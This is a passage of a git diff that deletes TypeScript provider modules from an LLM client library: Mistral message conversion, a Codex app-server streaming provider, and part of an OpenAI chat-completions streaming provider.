stream.push({ - type: "toolcall_delta", - contentIndex: toolBlocksByKey.get(key)!, - delta: argsDelta, - partial: output, - }); - } - } - - finishCurrentBlock(currentBlock); - for (const index of toolBlocksByKey.values()) { - const block = output.content[index]; - if (block.type !== "toolCall") continue; - const toolBlock = block as ToolCall & { partialArgs?: string }; - toolBlock.arguments = parseStreamingJson>( - toolBlock.partialArgs, - ); - delete toolBlock.partialArgs; - stream.push({ - type: "toolcall_end", - contentIndex: index, - toolCall: toolBlock, - partial: output, - }); - } -} - -export function sanitizeMistralToolParameters( - value: unknown, -): Record { - const sanitized = sanitizeJsonSchemaValue(value); - if (isPlainRecord(sanitized)) return sanitized; - return { type: "object", properties: {} }; -} - -function sanitizeJsonSchemaValue(value: unknown): unknown { - if (value === null) return null; - if (Array.isArray(value)) { - return value - .map((item) => sanitizeJsonSchemaValue(item)) - .filter((item) => item !== undefined); - } - if (isPlainRecord(value)) { - const result: Record = {}; - for (const [key, item] of Object.entries(value)) { - const sanitized = sanitizeJsonSchemaValue(item); - if (sanitized !== undefined) result[key] = sanitized; - } - return result; - } - if ( - typeof value === "string" || - typeof value === "number" || - typeof value === "boolean" - ) { - return value; - } - return undefined; -} - -function isPlainRecord(value: unknown): value is Record { - return typeof value === "object" && value !== null && !Array.isArray(value); -} - -function toFunctionTools( - tools: Tool[], -): Array { - return tools.map((tool) => ({ - type: "function", - function: { - name: tool.name, - description: tool.description, - parameters: sanitizeMistralToolParameters(tool.parameters), - strict: false, - }, - })); -} - -function toChatMessages( - messages: Message[], - supportsImages: boolean, -): ChatCompletionStreamRequestMessage[] { - const result: ChatCompletionStreamRequestMessage[] = []; - - for (const msg of messages) { - if (msg.role === "user") { - if (typeof msg.content === "string") { - result.push({ role: "user", content: sanitizeSurrogates(msg.content) }); - continue; - } - const hadImages = msg.content.some((item) => item.type === "image"); - const content: ContentChunk[] = msg.content - .filter((item) => item.type === "text" || supportsImages) - .map((item) => { - if (item.type === "text") - return { type: "text", text: sanitizeSurrogates(item.text) }; - return { - type: "image_url", - imageUrl: `data:${item.mimeType};base64,${item.data}`, - }; - }); - if (content.length > 0) { - result.push({ role: "user", content }); - continue; - } - if (hadImages && !supportsImages) { - result.push({ - role: "user", - content: "(image omitted: model does not support images)", - }); - } - continue; - } - - if (msg.role === "assistant") { - const contentParts: ContentChunk[] = []; - const toolCalls: Array<{ - id: string; - type: "function"; - function: { name: string; arguments: string }; - }> = []; - - for (const block of msg.content) { - if (block.type === "text") { - if (block.text.trim().length > 0) { - contentParts.push({ - type: "text", - text: sanitizeSurrogates(block.text), - }); - } - continue; - } - if (block.type === "thinking") { - if (block.thinking.trim().length > 0) { - contentParts.push({ - type: "thinking", - thinking: [ - { type: "text", text: sanitizeSurrogates(block.thinking) }, - ], - }); - } - continue; - } - if (block.type !== "toolCall") { - continue; - } - toolCalls.push({ - id: block.id, - type: "function", - function: { - name: block.name, - arguments: JSON.stringify(block.arguments || {}), - }, - }); - } - - const assistantMessage: ChatCompletionStreamRequestMessage = { - role: "assistant", - }; - if (contentParts.length > 0) assistantMessage.content = contentParts; - if (toolCalls.length > 0) assistantMessage.toolCalls = toolCalls; - if (contentParts.length > 0 || toolCalls.length > 0) - result.push(assistantMessage); - continue; - } - - const toolContent: ContentChunk[] = []; - const textResult = msg.content - .filter((part) => part.type === "text") - .map((part) => - part.type === "text" ? sanitizeSurrogates(part.text) : "", - ) - .join("\n"); - const hasImages = msg.content.some((part) => part.type === "image"); - const toolText = buildToolResultText( - textResult, - hasImages, - supportsImages, - msg.isError, - ); - toolContent.push({ type: "text", text: toolText }); - for (const part of msg.content) { - if (!supportsImages) continue; - if (part.type !== "image") continue; - toolContent.push({ - type: "image_url", - imageUrl: `data:${part.mimeType};base64,${part.data}`, - }); - } - result.push({ - role: "tool", - toolCallId: msg.toolCallId, - name: msg.toolName, - content: toolContent, - }); - } - - return result; -} - -function buildToolResultText( - text: string, - hasImages: boolean, - supportsImages: boolean, - isError: boolean, -): string { - const trimmed = text.trim(); - const errorPrefix = isError ? "[tool error] " : ""; - - if (trimmed.length > 0) { - const imageSuffix = - hasImages && !supportsImages - ? "\n[tool image omitted: model does not support images]" - : ""; - return `${errorPrefix}${trimmed}${imageSuffix}`; - } - - if (hasImages) { - if (supportsImages) { - return isError - ? "[tool error] (see attached image)" - : "(see attached image)"; - } - return isError - ? "[tool error] (image omitted: model does not support images)" - : "(image omitted: model does not support images)"; - } - - return isError ? "[tool error] (no tool output)" : "(no tool output)"; -} - -function mapToolChoice( - choice: MistralOptions["toolChoice"], -): - | "auto" - | "none" - | "any" - | "required" - | { type: "function"; function: { name: string } } - | undefined { - if (!choice) return undefined; - if ( - choice === "auto" || - choice === "none" || - choice === "any" || - choice === "required" - ) { - return choice as any; - } - return { - type: "function", - function: { name: choice.function.name }, - }; -} - -function mapChatStopReason(reason: string | null): StopReason { - if (reason === null) return "stop"; - switch (reason) { - case "stop": - return "stop"; - case "length": - case "model_length": - return "length"; - case "tool_calls": - return "toolUse"; - case "error": - return "error"; - default: - return "stop"; - } -} diff --git a/packages/pi-ai/src/providers/openai-codex-responses.ts b/packages/pi-ai/src/providers/openai-codex-responses.ts deleted file mode 100644 index 4bc5df923..000000000 --- a/packages/pi-ai/src/providers/openai-codex-responses.ts +++ /dev/null @@ -1,672 +0,0 @@ -import { supportsXhigh } from "../models.js"; -import type { - Api, - AssistantMessage, - Context, - ImageContent, - Model, - SimpleStreamOptions, - StreamFunction, - StreamOptions, - ToolCall, - Usage, -} from "../types.js"; -import { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { parseStreamingJson } from "../utils/json-parse.js"; -import { - type CodexAppServerNotification, - getCodexAppServerClient, -} from "./codex-app-server-client.js"; -import { convertResponsesMessages } from "./openai-responses-shared.js"; -import { - buildBaseOptions, - clampReasoning, - resolveReasoningLevel, -} from "./simple-options.js"; - -export interface OpenAICodexResponsesOptions extends StreamOptions { - reasoningEffort?: "none" | "minimal" | "low" | "medium" | "high" | "xhigh"; - reasoningSummary?: "auto" | "concise" | "detailed" | "off" | "on" | null; - textVerbosity?: "low" | "medium" | "high"; - network_access?: boolean; - web_search?: boolean; -} - -type AppServerReasoningSummary = "auto" | "concise" | "detailed" | "none"; -type JsonObject = Record; - -interface ThreadStartResponse { - thread: { id: string }; -} - -interface TurnStartResponse { - turn: { id: string }; -} - -interface AppServerItem { - type: string; - id?: string; - text?: string; - summary?: string[]; - content?: string[]; - server?: string; - tool?: string; - namespace?: string | null; - arguments?: unknown; - query?: string; -} - -interface TokenUsageBreakdown { - totalTokens: number; - inputTokens: number; - cachedInputTokens: number; - outputTokens: number; - reasoningOutputTokens: number; -} - -const CODEX_TOOL_CALL_PROVIDERS = new Set([ - "openai", - "openai-codex", - "opencode", -]); - -/** - * Stream a Codex turn through the installed `codex app-server`. - * - * Purpose: reuse Codex CLI's authenticated JSON-RPC backend instead of maintaining a hand-rolled ChatGPT transport. - * Consumer: built-in provider registry for the `openai-codex-responses` API. - */ -export const streamOpenAICodexResponses: StreamFunction< - "openai-codex-responses", - OpenAICodexResponsesOptions -> = ( - model: Model<"openai-codex-responses">, - context: Context, - options?: OpenAICodexResponsesOptions, -): AssistantMessageEventStream => { - const stream = new AssistantMessageEventStream(); - - (async () => { - const output = createAssistantMessage(model); - let client: Awaited> | undefined; - try { - client = await getCodexAppServerClient({ - cwd: process.cwd(), - extraArgs: buildProcessConfig(model, options), - }); - const thread = await client.request( - "thread/start", - buildThreadStartParams(model, context, options), - options?.signal, - ); - const threadId = readThreadId(thread); - await injectPriorContext( - client, - threadId, - model, - context, - options?.signal, - ); - - const turnInput = buildTurnInput(context, model); - stream.push({ type: "start", partial: output }); - - let activeTurnId: string | undefined; - let cleanupTurnNotifications: (() => void) | undefined; - const turnDone = new Promise((resolve, reject) => { - const mapper = new CodexNotificationMapper( - threadId, - output, - stream, - resolve, - reject, - ); - const unsubscribe = client!.onNotification((notification) => - mapper.handle(notification), - ); - const onAbort = () => { - if (activeTurnId) { - client!.interruptTurn(threadId, activeTurnId).catch(() => {}); - } - reject(new Error("Request was aborted")); - }; - options?.signal?.addEventListener("abort", onAbort, { once: true }); - mapper.onDispose = () => { - unsubscribe(); - options?.signal?.removeEventListener("abort", onAbort); - }; - cleanupTurnNotifications = mapper.onDispose; - }); - - let turn: unknown; - try { - turn = await client.request( - "turn/start", - buildTurnStartParams(threadId, turnInput, model, options), - options?.signal, - ); - } catch (error) { - cleanupTurnNotifications?.(); - throw error; - } - activeTurnId = readTurnId(turn); - await turnDone; - - if (options?.signal?.aborted) { - throw new Error("Request was aborted"); - } - stream.push({ - type: "done", - reason: output.stopReason === "toolUse" ? "toolUse" : "stop", - message: output, - }); - stream.end(); - } catch (error) { - output.stopReason = options?.signal?.aborted ? "aborted" : "error"; - output.errorMessage = - error instanceof Error ? error.message : String(error); - stream.push({ type: "error", reason: output.stopReason, error: output }); - stream.end(output); - } finally { - client?.releaseIfIdle().catch(() => {}); - } - })(); - - return stream; -}; - -/** - * Stream a simple Codex request while preserving the shared pi-ai option surface. - * - * Purpose: map simple reasoning options to Codex app-server turn parameters without requiring callers to know app-server details. - * Consumer: built-in provider registry `streamSimple` calls. - */ -export const streamSimpleOpenAICodexResponses: StreamFunction< - "openai-codex-responses", - SimpleStreamOptions -> = ( - model: Model<"openai-codex-responses">, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream => { - const base = buildBaseOptions(model, options); - const effectiveReasoning = resolveReasoningLevel(model, options?.reasoning); - const reasoningEffort = supportsXhigh(model) - ? effectiveReasoning - : clampReasoning(effectiveReasoning); - - return streamOpenAICodexResponses(model, context, { - ...base, - reasoningEffort, - } satisfies OpenAICodexResponsesOptions); -}; - -class CodexNotificationMapper { - private readonly blocksByItemId = new Map(); - private usage: Usage | undefined; - onDispose?: () => void; - - constructor( - private readonly threadId: string, - private readonly output: AssistantMessage, - private readonly stream: AssistantMessageEventStream, - private readonly resolve: () => void, - private readonly reject: (reason: Error) => void, - ) {} - - handle(notification: CodexAppServerNotification): void { - try { - const params = asObject(notification.params); - const notificationThreadId = readString(params?.threadId); - if ( - notificationThreadId !== undefined && - notificationThreadId !== this.threadId - ) - return; - - if (notification.method === "item/started") - this.handleItemStarted(params); - else if (notification.method === "item/agent_message/delta") - this.handleAgentMessageDelta(params); - else if ( - notification.method === "item/reasoning/text_delta" || - notification.method === "item/reasoning/summary_text_delta" - ) - this.handleReasoningDelta(params); - else if (notification.method === "item/completed") - this.handleItemCompleted(params); - else if (notification.method === "response/item/completed") - this.handleRawResponseItemCompleted(params); - else if (notification.method === "thread/token_usage/updated") - this.handleUsage(params); - else if (notification.method === "turn/completed") - this.handleTurnCompleted(params); - else if (notification.method === "turn/failed") - this.reject(new Error(readErrorMessage(params) ?? "Codex turn failed")); - } catch (error) { - this.dispose(); - this.reject(error instanceof Error ? error : new Error(String(error))); - } - } - - private handleItemStarted(params: JsonObject | undefined): void { - const item = asObject(params?.item) as unknown as AppServerItem | undefined; - if (!item?.id) return; - if (item.type === "agentMessage") this.startText(item.id); - else if (item.type === "reasoning") this.startThinking(item.id); - } - - private handleAgentMessageDelta(params: JsonObject | undefined): void { - const itemId = readString(params?.itemId); - const delta = readString(params?.delta); - if (!itemId || delta === undefined) return; - const index = this.startText(itemId); - const block = this.output.content[index]; - if (block?.type !== "text") return; - block.text += delta; - this.stream.push({ - type: "text_delta", - contentIndex: index, - delta, - partial: this.output, - }); - } - - private handleReasoningDelta(params: JsonObject | undefined): void { - const itemId = readString(params?.itemId); - const delta = readString(params?.delta); - if (!itemId || delta === undefined) return; - const index = this.startThinking(itemId); - const block = this.output.content[index]; - if (block?.type !== "thinking") return; - block.thinking += delta; - this.stream.push({ - type: "thinking_delta", - contentIndex: index, - delta, - partial: this.output, - }); - } - - private handleItemCompleted(params: JsonObject | undefined): void { - const item = asObject(params?.item) as unknown as AppServerItem | undefined; - if (!item?.id) return; - if (item.type === "agentMessage") this.endText(item.id, item.text ?? ""); - else if (item.type === "reasoning") - this.endThinking( - item.id, - [...(item.summary ?? []), ...(item.content ?? [])].join("\n\n"), - ); - else if ( - item.type === "dynamicToolCall" || - item.type === "mcpToolCall" || - item.type === "webSearch" - ) { - this.emitToolCall(item); - } - } - - private handleRawResponseItemCompleted(params: JsonObject | undefined): void { - const item = asObject(params?.item); - if (readString(item?.type) !== "function_call") return; - const callId = readString(item?.call_id); - const name = readString(item?.name); - if (!callId || !name) return; - this.emitToolCall({ - type: "function_call", - id: callId, - tool: name, - arguments: readString(item?.arguments) ?? "{}", - }); - } - - private handleUsage(params: JsonObject | undefined): void { - const tokenUsage = asObject(params?.tokenUsage); - const last = asObject(tokenUsage?.last) as unknown as - | TokenUsageBreakdown - | undefined; - if (!last) return; - this.usage = { - input: Math.max(0, last.inputTokens - last.cachedInputTokens), - output: last.outputTokens, - cacheRead: last.cachedInputTokens, - cacheWrite: 0, - totalTokens: last.totalTokens, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }; - } - - private handleTurnCompleted(params: JsonObject | undefined): void { - const turn = asObject(params?.turn); - const status = readString(turn?.status); - if (this.usage) this.output.usage = this.usage; - this.output.stopReason = - status === "interrupted" - ? "aborted" - : status === "failed" - ? "error" - : this.output.stopReason; - this.dispose(); - if (this.output.stopReason === "aborted") { - this.reject(new Error("Request was aborted")); - return; - } - if (this.output.stopReason === "error") { - this.reject(new Error(readErrorMessage(turn) ?? "Codex turn failed")); - return; - } - this.resolve(); - } - - private startText(itemId: string): number { - const existing = this.blocksByItemId.get(itemId); - if (existing !== undefined) return existing; - const index = this.output.content.push({ type: "text", text: "" }) - 1; - this.blocksByItemId.set(itemId, index); - this.stream.push({ - type: "text_start", - contentIndex: index, - partial: this.output, - }); - return index; - } - - private endText(itemId: string, text: string): void { - const index = this.startText(itemId); - const block = this.output.content[index]; - if (block?.type !== "text") return; - if (text) block.text = text; - block.textSignature = itemId; - this.stream.push({ - type: "text_end", - contentIndex: index, - content: block.text, - partial: this.output, - }); - } - - private startThinking(itemId: string): number { - const existing = this.blocksByItemId.get(itemId); - if (existing !== undefined) return existing; - const index = - this.output.content.push({ type: "thinking", thinking: "" }) - 1; - this.blocksByItemId.set(itemId, index); - this.stream.push({ - type: "thinking_start", - contentIndex: index, - partial: this.output, - }); - return index; - } - - private endThinking(itemId: string, thinking: string): void { - const index = this.startThinking(itemId); - const block = this.output.content[index]; - if (block?.type !== "thinking") return; - if (thinking) block.thinking = thinking; - block.thinkingSignature = itemId; - this.stream.push({ - type: "thinking_end", - contentIndex: index, - content: block.thinking, - partial: this.output, - }); - } - - private emitToolCall(item: AppServerItem): void { - const name = - item.type === "webSearch" - ? "web_search" - : [item.namespace, item.server, item.tool].filter(Boolean).join("."); - if (!name) return; - const toolCall: ToolCall = { - type: "toolCall", - id: item.id ?? `${name}-${Date.now()}`, - name, - arguments: normalizeArguments( - item.type === "webSearch" - ? { query: item.query ?? "" } - : item.arguments, - ), - }; - const index = this.output.content.push(toolCall) - 1; - this.stream.push({ - type: "toolcall_start", - contentIndex: index, - partial: this.output, - }); - this.stream.push({ - type: "toolcall_end", - contentIndex: index, - toolCall, - partial: this.output, - }); - this.output.stopReason = "toolUse"; - } - - private dispose(): void { - this.onDispose?.(); - this.onDispose = undefined; - } -} - -function createAssistantMessage( - model: Model<"openai-codex-responses">, -): AssistantMessage { - return { - role: "assistant", - content: [], - api: "openai-codex-responses" as Api, - provider: model.provider, - model: model.id, - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: Date.now(), - }; -} - -function buildThreadStartParams( - model: Model<"openai-codex-responses">, - context: Context, - options?: OpenAICodexResponsesOptions, -): JsonObject { - const params: JsonObject = { - model: model.id, - cwd: process.cwd(), - baseInstructions: context.systemPrompt ?? null, - approvalPolicy: "never", - sandbox: "workspace-write", - experimentalRawEvents: true, - persistExtendedHistory: true, - }; - const config = buildConfig(model, options); - if (Object.keys(config).length > 0) params.config = config; - return params; -} - -function buildTurnStartParams( - threadId: string, - input: JsonObject[], - model: Model<"openai-codex-responses">, - options?: OpenAICodexResponsesOptions, -): JsonObject { - return { - threadId, - input, - cwd: process.cwd(), - model: model.id, - effort: options?.reasoningEffort - ? clampReasoningEffort(model.id, options.reasoningEffort) - : null, - summary: normalizeReasoningSummary(options?.reasoningSummary), - }; -} - -function buildProcessConfig( - model: Model<"openai-codex-responses">, - options?: OpenAICodexResponsesOptions, -): string[] { - const config = buildConfig(model, options); - return Object.entries(config).flatMap(([key, value]) => [ - "-c", - `${key}=${JSON.stringify(value)}`, - ]); -} - -function buildConfig( - model: Model<"openai-codex-responses">, - options?: OpenAICodexResponsesOptions, -): JsonObject { - const config: JsonObject = { model: model.id }; - if (options?.reasoningEffort) - config.model_reasoning_effort = clampReasoningEffort( - model.id, - options.reasoningEffort, - ); - if (typeof options?.network_access === "boolean") - config.network_access = options.network_access; - if (typeof options?.web_search === "boolean") - config.web_search = options.web_search; - return config; -} - -async function injectPriorContext( - client: Awaited>, - threadId: string, - model: Model<"openai-codex-responses">, - context: Context, - signal?: AbortSignal, -): Promise { - const lastUserIndex = findLastUserMessageIndex(context); - if (lastUserIndex <= 0) return; - const priorContext = { - ...context, - messages: context.messages.slice(0, lastUserIndex), - }; - const items = convertResponsesMessages( - model, - priorContext, - CODEX_TOOL_CALL_PROVIDERS, - { includeSystemPrompt: false }, - ); - if (items.length === 0) return; - await client.request("thread/inject_items", { threadId, items }, signal); -} - -function buildTurnInput( - context: Context, - model: Model<"openai-codex-responses">, -): JsonObject[] { - const lastUserIndex = findLastUserMessageIndex(context); - const message = - lastUserIndex >= 0 ? context.messages[lastUserIndex] : undefined; - if (!message || message.role !== "user") { - return [{ type: "text", text: "", text_elements: [] }]; - } - if (typeof message.content === "string") { - return [{ type: "text", text: message.content, text_elements: [] }]; - } - const input: JsonObject[] = []; - for (const block of message.content) { - if (block.type === "text") { - input.push({ type: "text", text: block.text, text_elements: [] }); - } else if (model.input.includes("image")) { - input.push(imageBlockToUserInput(block)); - } - } - return input.length > 0 - ? input - : [{ type: "text", text: "", text_elements: [] }]; -} - -function imageBlockToUserInput(block: ImageContent): JsonObject { - return { type: "image", url: `data:${block.mimeType};base64,${block.data}` }; -} - -function findLastUserMessageIndex(context: Context): number { - for (let i = context.messages.length - 1; i >= 0; i--) { - if (context.messages[i]?.role === "user") return i; - } - return -1; -} - -function clampReasoningEffort(modelId: string, effort: string): string { - const id = modelId.includes("/") ? modelId.split("/").pop()! : modelId; - if ( - (id.startsWith("gpt-5.2") || - id.startsWith("gpt-5.3") || - id.startsWith("gpt-5.4")) && - effort === "minimal" - ) - return "low"; - if (id === "gpt-5.1" && effort === "xhigh") return "high"; - if (id === "gpt-5.1-codex-mini") - return effort === "high" || effort === "xhigh" ? "high" : "medium"; - return effort; -} - -function normalizeReasoningSummary( - value: OpenAICodexResponsesOptions["reasoningSummary"], -): AppServerReasoningSummary | null { - if (value === "off") return "none"; - if (value === "on") return "auto"; - return value ?? null; -} - -function readThreadId(value: unknown): string { - const response = value as ThreadStartResponse; - if (!response.thread?.id) - throw new Error( - "Codex app-server thread/start response did not include thread.id", - ); - return response.thread.id; -} - -function readTurnId(value: unknown): string { - const response = value as TurnStartResponse; - if (!response.turn?.id) - throw new Error( - "Codex app-server turn/start response did not include turn.id", - ); - return response.turn.id; -} - -function normalizeArguments(value: unknown): Record { - if (typeof value === "string") return parseStreamingJson(value); - if (value && typeof value === "object" && !Array.isArray(value)) - return value as Record; - return {}; -} - -function asObject(value: unknown): JsonObject | undefined { - return value && typeof value === "object" && !Array.isArray(value) - ? (value as JsonObject) - : undefined; -} - -function readString(value: unknown): string | undefined { - return typeof value === "string" ? value : undefined; -} - -function readErrorMessage(value: unknown): string | undefined { - const object = asObject(value); - const _error = asObject(object?.error); - return readNestedCodexErrorMessage(object) ?? readString(object?.message); -} - -function readNestedCodexErrorMessage( - event: JsonObject | undefined, -): string | undefined { - const errorObj = asObject(event?.error); - const message = readString(errorObj?.message); - const type = readString(errorObj?.type); - if (message && type) return `${type}: ${message}`; - return message ?? type; -} diff --git a/packages/pi-ai/src/providers/openai-completions.ts b/packages/pi-ai/src/providers/openai-completions.ts deleted file mode 100644 index 193d369a1..000000000 --- a/packages/pi-ai/src/providers/openai-completions.ts +++ /dev/null @@ -1,960 +0,0 @@ -// Lazy-loaded: OpenAI SDK is imported on first use, not at startup. -// This avoids penalizing users who don't use OpenAI models. -import type OpenAI from "openai"; -import type { - ChatCompletionAssistantMessageParam, - ChatCompletionChunk, - ChatCompletionContentPart, - ChatCompletionContentPartImage, - ChatCompletionContentPartText, - ChatCompletionMessageParam, - ChatCompletionReasoningEffort, - ChatCompletionToolMessageParam, -} from "openai/resources/chat/completions.js"; -import type { FunctionParameters } from "openai/resources/shared.js"; -import { getEnvApiKey } from "../env-api-keys.js"; -import { calculateCost, supportsXhigh } from "../models.js"; -import type { - Context, - ImageContent, - Message, - Model, - OpenAICompletionsCompat, - SimpleStreamOptions, - StopReason, - StreamFunction, - StreamOptions, - TextContent, - ThinkingContent, - Tool, - ToolCall, - ToolResultMessage, -} from "../types.js"; -import { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { parseStreamingJson } from "../utils/json-parse.js"; -import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; -import { - assertStreamSuccess, - buildInitialOutput, - createOpenAIClient, - finalizeStream, - handleStreamError, -} from "./openai-shared.js"; -import { sanitizeToolCallArgumentsForSerialization } from "./sanitize-tool-arguments.js"; -import { - buildBaseOptions, - clampReasoning, - resolveReasoningLevel, -} from "./simple-options.js"; -import { transformMessagesWithReport } from "./transform-messages.js"; - -/** - * Check if conversation messages contain tool calls or tool results. - * This is needed because Anthropic (via proxy) requires the tools param - * to be present when messages include tool_calls or tool role messages. - */ -function hasToolHistory(messages: Message[]): boolean { - for (const msg of messages) { - if (msg.role === "toolResult") { - return true; - } - if (msg.role === "assistant") { - if (msg.content.some((block) => block.type === "toolCall")) { - return true; - } - } - } - return false; -} - -export interface OpenAICompletionsOptions extends StreamOptions { - toolChoice?: - | "auto" - | "none" - | "required" - | { type: "function"; function: { name: string } }; - reasoningEffort?: "minimal" | "low" | "medium" | "high" | "xhigh"; -} - -export const streamOpenAICompletions: StreamFunction< - "openai-completions", - OpenAICompletionsOptions -> = ( - model: Model<"openai-completions">, - context: Context, - options?: OpenAICompletionsOptions, -): AssistantMessageEventStream => { - const stream = new AssistantMessageEventStream(); - - (async () => { - const output = buildInitialOutput(model); - - try { - const apiKey = options?.apiKey || getEnvApiKey(model.provider) || ""; - const isZai = - model.provider === "zai" || model.baseUrl.includes("api.z.ai"); - const client = await createOpenAIClient(model, context, apiKey, { - optionsHeaders: options?.headers, - extraClientOptions: isZai - ? { timeout: 100_000, maxRetries: 4 } - : undefined, - }); - let params = buildParams(model, context, options); - const nextParams = await options?.onPayload?.(params, model); - if (nextParams !== undefined) { - params = - nextParams as OpenAI.Chat.Completions.ChatCompletionCreateParamsStreaming; - } - const openaiStream = await client.chat.completions.create(params, { - signal: options?.signal, - }); - stream.push({ type: "start", partial: output }); - - let currentBlock: - | TextContent - | ThinkingContent - | (ToolCall & { partialArgs?: string }) - | null = null; - const blocks = output.content; - const blockIndex = () => blocks.length - 1; - const finishCurrentBlock = (block?: typeof currentBlock) => { - if (block) { - if (block.type === "text") { - stream.push({ - type: "text_end", - contentIndex: blockIndex(), - content: block.text, - partial: output, - }); - } else if (block.type === "thinking") { - stream.push({ - type: "thinking_end", - contentIndex: blockIndex(), - content: block.thinking, - partial: output, - }); - } else if (block.type === "toolCall") { - block.arguments = parseStreamingJson(block.partialArgs); - delete block.partialArgs; - stream.push({ - type: "toolcall_end", - contentIndex: blockIndex(), - toolCall: block, - partial: output, - }); - } - } - }; - - for await (const chunk of openaiStream) { - if (!chunk || typeof chunk !== "object") continue; - - if (chunk.usage) { - const cachedTokens = - chunk.usage.prompt_tokens_details?.cached_tokens || 0; - const reasoningTokens = - chunk.usage.completion_tokens_details?.reasoning_tokens || 0; - const input = (chunk.usage.prompt_tokens || 0) - cachedTokens; - const outputTokens = - (chunk.usage.completion_tokens || 0) + reasoningTokens; - output.usage = { - // OpenAI includes cached tokens in prompt_tokens, so subtract to get non-cached input - input, - output: outputTokens, - cacheRead: cachedTokens, - cacheWrite: 0, - // Compute totalTokens ourselves since we add reasoning_tokens to output - // and some providers (e.g., Groq) don't include them in total_tokens - totalTokens: input + outputTokens + cachedTokens, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - }, - }; - calculateCost(model, output.usage); - } - - const choice = Array.isArray(chunk.choices) - ? chunk.choices[0] - : undefined; - if (!choice) continue; - - if (choice.finish_reason) { - output.stopReason = mapStopReason(choice.finish_reason); - } - - if (choice.delta) { - if ( - choice.delta.content !== null && - choice.delta.content !== undefined && - choice.delta.content.length > 0 - ) { - if (!currentBlock || currentBlock.type !== "text") { - finishCurrentBlock(currentBlock); - currentBlock = { type: "text", text: "" }; - output.content.push(currentBlock); - stream.push({ - type: "text_start", - contentIndex: blockIndex(), - partial: output, - }); - } - - if (currentBlock.type === "text") { - currentBlock.text += choice.delta.content; - stream.push({ - type: "text_delta", - contentIndex: blockIndex(), - delta: choice.delta.content, - partial: output, - }); - } - } - - // Some endpoints return reasoning in reasoning_content (llama.cpp), - // or reasoning (other openai compatible endpoints) - // Use the first non-empty reasoning field to avoid duplication - // (e.g., chutes.ai returns both reasoning_content and reasoning with same content) - // SDK-divergence: reasoning_content / reasoning / reasoning_text are vendor extensions - // not present on ChatCompletionChunk.Choice.Delta in the official OpenAI SDK. - const deltaExt = choice.delta as unknown as Record; - const reasoningFields = [ - "reasoning_content", - "reasoning", - "reasoning_text", - ]; - let foundReasoningField: string | null = null; - for (const field of reasoningFields) { - if ( - deltaExt[field] !== null && - deltaExt[field] !== undefined && - (deltaExt[field] as string).length > 0 - ) { - if (!foundReasoningField) { - foundReasoningField = field; - break; - } - } - } - - if (foundReasoningField) { - if (!currentBlock || currentBlock.type !== "thinking") { - finishCurrentBlock(currentBlock); - currentBlock = { - type: "thinking", - thinking: "", - thinkingSignature: foundReasoningField, - }; - output.content.push(currentBlock); - stream.push({ - type: "thinking_start", - contentIndex: blockIndex(), - partial: output, - }); - } - - if (currentBlock.type === "thinking") { - const delta = deltaExt[foundReasoningField] as string; - currentBlock.thinking += delta; - stream.push({ - type: "thinking_delta", - contentIndex: blockIndex(), - delta, - partial: output, - }); - } - } - - if (choice?.delta?.tool_calls) { - for (const toolCall of choice.delta.tool_calls) { - if ( - !currentBlock || - currentBlock.type !== "toolCall" || - (toolCall.id && currentBlock.id !== toolCall.id) - ) { - finishCurrentBlock(currentBlock); - currentBlock = { - type: "toolCall", - id: toolCall.id || "", - name: toolCall.function?.name || "", - arguments: {}, - partialArgs: "", - }; - output.content.push(currentBlock); - stream.push({ - type: "toolcall_start", - contentIndex: blockIndex(), - partial: output, - }); - } - - if (currentBlock.type === "toolCall") { - if (toolCall.id) currentBlock.id = toolCall.id; - if (toolCall.function?.name) - currentBlock.name = toolCall.function.name; - let delta = ""; - if (toolCall.function?.arguments) { - delta = toolCall.function.arguments; - currentBlock.partialArgs += toolCall.function.arguments; - currentBlock.arguments = parseStreamingJson( - currentBlock.partialArgs, - ); - } - stream.push({ - type: "toolcall_delta", - contentIndex: blockIndex(), - delta, - partial: output, - }); - } - } - } - - // SDK-divergence: reasoning_details is a vendor extension (OpenAI Responses API via - // completions-compat path) not present on ChatCompletionChunk.Choice.Delta. - const reasoningDetails = deltaExt.reasoning_details; - if (reasoningDetails && Array.isArray(reasoningDetails)) { - for (const detail of reasoningDetails) { - if ( - detail.type === "reasoning.encrypted" && - detail.id && - detail.data - ) { - const matchingToolCall = output.content.find( - (b) => b.type === "toolCall" && b.id === detail.id, - ) as ToolCall | undefined; - if (matchingToolCall) { - matchingToolCall.thoughtSignature = JSON.stringify(detail); - } - } - } - } - } - } - - finishCurrentBlock(currentBlock); - assertStreamSuccess(output, options?.signal); - finalizeStream(stream, output); - } catch (error) { - // Some providers via OpenRouter give additional information in this field. - // SDK-divergence: APIError.error is typed as Object | undefined; the nested - // metadata.raw field is an OpenRouter-specific extension not in the SDK type. - const rawMetadata = ( - error as unknown as { error?: { metadata?: { raw?: string } } } - )?.error?.metadata?.raw; - handleStreamError(stream, output, error, options?.signal, rawMetadata); - } - })(); - - return stream; -}; - -export const streamSimpleOpenAICompletions: StreamFunction< - "openai-completions", - SimpleStreamOptions -> = ( - model: Model<"openai-completions">, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream => { - const apiKey = options?.apiKey || getEnvApiKey(model.provider); - if (!apiKey) { - throw new Error(`No API key for provider: ${model.provider}`); - } - - const base = buildBaseOptions(model, options, apiKey); - const effectiveReasoning = resolveReasoningLevel(model, options?.reasoning); - const reasoningEffort = supportsXhigh(model) - ? effectiveReasoning - : clampReasoning(effectiveReasoning); - const toolChoice = (options as OpenAICompletionsOptions | undefined) - ?.toolChoice; - - return streamOpenAICompletions(model, context, { - ...base, - reasoningEffort, - toolChoice, - } satisfies OpenAICompletionsOptions); -}; - -function buildParams( - model: Model<"openai-completions">, - context: Context, - options?: OpenAICompletionsOptions, -) { - const compat = getCompat(model); - const messages = convertMessages(model, context, compat); - maybeAddOpenRouterAnthropicCacheControl(model, messages); - - const params: OpenAI.Chat.Completions.ChatCompletionCreateParamsStreaming = { - model: model.id, - messages, - stream: true, - }; - - if (compat.supportsUsageInStreaming !== false) { - params.stream_options = { 